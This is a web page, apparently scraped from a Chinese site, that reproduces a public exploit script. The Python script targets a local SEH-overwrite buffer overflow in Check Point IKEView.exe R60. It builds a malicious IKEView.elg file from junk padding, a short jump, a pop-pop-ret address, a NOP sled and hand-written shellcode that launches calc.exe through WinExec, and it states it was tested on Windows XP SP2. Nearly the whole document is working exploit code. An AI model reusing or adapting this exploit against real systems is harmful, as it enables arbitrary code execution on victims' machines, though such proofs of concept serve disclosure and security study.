扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
# Exploit Title: IKEView.exe R60 localSEH Exploit # Date: 17/09/2015 # Exploit Author: cor3sm4sh3r # Author email: cor3sm4sh3r[at]gmail.com # Contact: https://in.linkedin.com/pub/shravan-kumar-ceh-oscp/103/414/450 # Category: Local #[+] Gr337z: hyp3rlinx for finding the bug #[+] Source: #http://hyp3rlinx.altervista.org/advisories/AS-IKEVIEWR60-0914.txt # exploit as been tested on win XP professional sp2 #Vendor: #================================ #www.checkpoint.com #http://pingtool.org/downloads/IKEView.exe #!/usr/bin/env python file="IKEView.elg" x=open(file,"w") nseh = "\x90\x90\xeb\x32" #short jump seh = "\xc0\x28\x40\x00" #pop pop ret nopsled = "\x90"*50 #badchars += "\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" buf= "\x33\xc0" #=> XOR EAX,EAX|Zero out EAX register buf += "\x50" #=> PUSH EAX |Push EAX to have null-byte padding for "calc.exe" buf += "\x68\x2E\x65\x78\x65" #=> PUSH ".exe"|Push The ASCII string to the stack buf += "\x68\x63\x61\x6C\x63" #=> PUSH "calc"| buf += "\x8B\xC4" #=> MOV EAX,ESP|Put a pointer to the ASCII string in EAX buf += "\x6A\x01" #=> PUSH 1 |Push uCmdShow parameter to the stack buf += "\x50" #=> PUSH EAX |Push the pointer to lpCmdLine to the stack buf += "\xBB\x4d\x11\x86\x7C" #=> MOV EBX,7C86114d |Move the pointer to WinExec() into EBX buf += "\xFF\xD3" #=> CALL EBX buf += "\x33\xc0" #=> XOR EAX,EAX|Zero out EAX register buf += "\x50" #=> PUSH EAX |Push EAX buf += "\xBB\xa2\xca\x81\x7c" #=> MOV EBX,7C81caa2 |Exit process buf += "\xFF\xD3" #=> CALL EBX junk = "A"*(4424) payload = junk + nseh + seh + nopsled + buf x.write(payload) x.close() |
体验盒子
